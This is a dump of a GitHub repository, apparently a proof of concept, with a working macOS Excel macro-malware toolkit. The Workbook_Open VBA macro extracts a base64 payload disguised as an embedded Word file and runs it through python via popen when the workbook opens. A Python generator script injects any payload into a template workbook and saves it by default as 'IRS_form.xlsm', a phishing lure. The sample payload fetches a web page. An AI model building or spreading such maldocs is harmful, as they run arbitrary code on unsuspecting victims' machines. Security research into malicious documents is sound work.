├── LICENSE.md ├── README.md ├── VBAMacro.txt ├── generate-malware.py ├── python_payload.bin └── template-doc ├── .DS_Store └── Workbook1.xlsm /LICENSE.md: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Amanda Rousseau 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # MacOS_VBA_Macro 2 | Example VBA Macro for MacOS Mojave 10.14 3 | 4 | DISCLAIMER: This software may contain bugs, both apparent and less apparent ones. We do not accept responsibility for any problems that arise from use of this software. Use entirely at your own risk. 5 | 6 | # Summary 7 | The template excel document contains a macro targeting MacOS. 8 | The macro expects a base64 encoded payload to exist at xl/embeddings/Microsoft_Word_Document2.docx. 9 | It will then base64 decode and run the script as a one-liner in a python command (python -c "command"). 10 | Note: MacOS 10.14 Mojave does not allow any child processes from Microsoft Excel to establish a socket. Normal get/post request are fine. 11 | 12 | # Generate from the python script 13 | ``` 14 | malware $python generate-malware.py -h 15 | Usage: generate-malware.py [options] 16 | 17 | Options: 18 | -h, --help show this help message and exit 19 | -p PAYLOAD_FILENAME, --payload=PAYLOAD_FILENAME 20 | -t TEMPLATE_FILENAME, --template=TEMPLATE_FILENAME 21 | -o OUTPUT_FILENAME, --output=OUTPUT_FILENAME 22 | malware $python generate-malware.py -p ../python_payload.bin 23 | template-doc/Workbook1.xlsm 24 | temp.0.352844482538/payload.tmp 25 | Successful 26 | Saved as temp.0.352844482538/IRS_form.xlsm 27 | ``` 28 | -------------------------------------------------------------------------------- /VBAMacro.txt: -------------------------------------------------------------------------------- 1 | ' This macro script will extract a base64 encoded file from the document and execute as a one-liner python command' 2 | #If MAC_OFFICE_VERSION >= 15 Then 3 | Private Declare PtrSafe Function popen Lib "libc.dylib" (ByVal command As String, ByVal mode As String) As LongPtr 4 | Private Declare PtrSafe Function pclose Lib "libc.dylib" (ByVal file As LongPtr) As LongPtr 5 | Private Declare PtrSafe Function fread Lib "libc.dylib" (ByVal outStr As String, ByVal size As LongPtr, ByVal items As LongPtr, ByVal stream As LongPtr) As Long 6 | Private Declare PtrSafe Function feof Lib "libc.dylib" (ByVal file As LongPtr) As LongPtr 7 | #End If 8 | 9 | Function execShell(command As String, Optional ByRef exitCode As LongPtr) As String 10 | #If MAC_OFFICE_VERSION >= 15 Then 11 | Dim file As LongPtr 12 | file = popen(command, "r") 13 | 14 | If file = 0 Then 15 | Exit Function 16 | End If 17 | 18 | While feof(file) = 0 19 | Dim chunk As String 20 | Dim read As Long 21 | chunk = Space(50) 22 | read = fread(chunk, 1, Len(chunk) - 1, file) 23 | If read > 0 Then 24 | chunk = Left$(chunk, read) 25 | execShell = execShell & chunk 26 | End If 27 | Wend 28 | 29 | exitCode = pclose(file) 30 | #End If 31 | End Function 32 | 33 | Private Sub Workbook_Open() 34 | #If MAC_OFFICE_VERSION >= 15 Then 35 | Dim result As String 36 | Dim exitCode As LongPtr 37 | Dim path As String 38 | Dim rpath As String 39 | Dim command As String 40 | Dim iPos As Integer 41 | result = execShell("sw_vers -productVersion", exitCode) 42 | 'Tested on 10.14 Mojave' 43 | If InStr(result, "10.14") Then 44 | iPos = InStr(ActiveWorkbook.FullName, ":") 45 | rpath = Right(ActiveWorkbook.FullName, Len(ActiveWorkbook.FullName) - iPos + 1) 46 | path = Replace(Replace(rpath, ":", "/"), " ", "\\ ") 47 | command = execShell("unzip -p " & path & " xl/embeddings/Microsoft_Word_Document2.docx | base64 -D", exitCode) 48 | If exitCode = 0 Then 49 | Debug.Print command 50 | result = execShell("python -c " & Chr(34) & command & Chr(34), exitCode) 51 | Debug.Print exitCode 52 | Debug.Print result 53 | End If 54 | End If 55 | #End If 56 | End Sub 57 | -------------------------------------------------------------------------------- /generate-malware.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import os 3 | import zipfile 4 | import optparse 5 | import base64 6 | import tempfile 7 | import random 8 | import shutil 9 | 10 | 11 | def insert_payload(zipname, filename, payload): 12 | if zipname is None: 13 | return False 14 | if not os.path.isfile(zipname): 15 | return False 16 | 17 | # generate a temp file 18 | tmpfd, tmpname = tempfile.mkstemp(dir=os.path.dirname(zipname)) 19 | os.close(tmpfd) 20 | 21 | # create a temp copy of the archive without filename 22 | with zipfile.ZipFile(zipname, 'r') as zin: 23 | with zipfile.ZipFile(tmpname, 'w') as zout: 24 | zout.comment = zin.comment # preserve the comment 25 | for item in zin.infolist(): 26 | if item.filename != filename: 27 | zout.writestr(item, zin.read(item.filename)) 28 | 29 | # replace with the temp archive 30 | os.remove(zipname) 31 | os.rename(tmpname, zipname) 32 | 33 | # now add filename with its new data 34 | with zipfile.ZipFile(zipname, mode='a', 35 | compression=zipfile.ZIP_DEFLATED) as zf: 36 | with open(payload, "rb") as payload_file: 37 | zf.writestr(filename, payload_file.read()) 38 | return True 39 | 40 | 41 | def convert_payload(payload, folder): 42 | temp_file = os.path.join(folder, "payload.tmp") 43 | if payload is None: 44 | return None 45 | if not os.path.isfile(payload): 46 | return None 47 | with open(payload, "rb") as payload_file: 48 | encoded_string = base64.b64encode(payload_file.read()) 49 | payload_file.close() 50 | with open(temp_file, "wb") as encoded_file: 51 | encoded_file.write(encoded_string) 52 | encoded_file.close() 53 | return temp_file 54 | 55 | 56 | def main(): 57 | parser = optparse.OptionParser() 58 | parser.add_option('-p', '--payload', 59 | dest="payload_filename", default=None) 60 | parser.add_option('-t', '--template', 61 | dest="template_filename", default="template-doc/Workbook1.xlsm") 62 | parser.add_option('-o', '--output', 63 | dest="output_filename", default="IRS_form.xlsm") 64 | 65 | options, args = parser.parse_args() 66 | # print options, args 67 | print options.template_filename 68 | 69 | # create a temp directory 70 | folder = "temp."+str(random.random()) 71 | os.makedirs(folder) 72 | encoded_payload = convert_payload(options.payload_filename, folder) 73 | if encoded_payload is None: 74 | print "Error: Payload is invalid" 75 | return 76 | if not os.path.isfile(encoded_payload): 77 | print "Error: Payload is not a file" 78 | return 79 | print encoded_payload 80 | # Copy template to temp folder 81 | output_file = os.path.join(folder, options.output_filename) 82 | shutil.copyfile(options.template_filename, output_file) 83 | if insert_payload(output_file, 84 | "xl/embeddings/Microsoft_Word_Document2.docx", encoded_payload): 85 | print "Successful" 86 | print "Saved as %s" % output_file 87 | else: 88 | print "Failed" 89 | return 90 | 91 | 92 | if __name__ == '__main__': 93 | main() 94 | -------------------------------------------------------------------------------- /python_payload.bin: -------------------------------------------------------------------------------- 1 | import urllib2;contents = urllib2.urlopen('http://malwareunicorn.org').read();print contents -------------------------------------------------------------------------------- /template-doc/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malware-unicorn/MacOS_VBA_Macro/e6ec32acf72a1bfbf435e580750ea8effa015b49/template-doc/.DS_Store -------------------------------------------------------------------------------- /template-doc/Workbook1.xlsm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malware-unicorn/MacOS_VBA_Macro/e6ec32acf72a1bfbf435e580750ea8effa015b49/template-doc/Workbook1.xlsm --------------------------------------------------------------------------------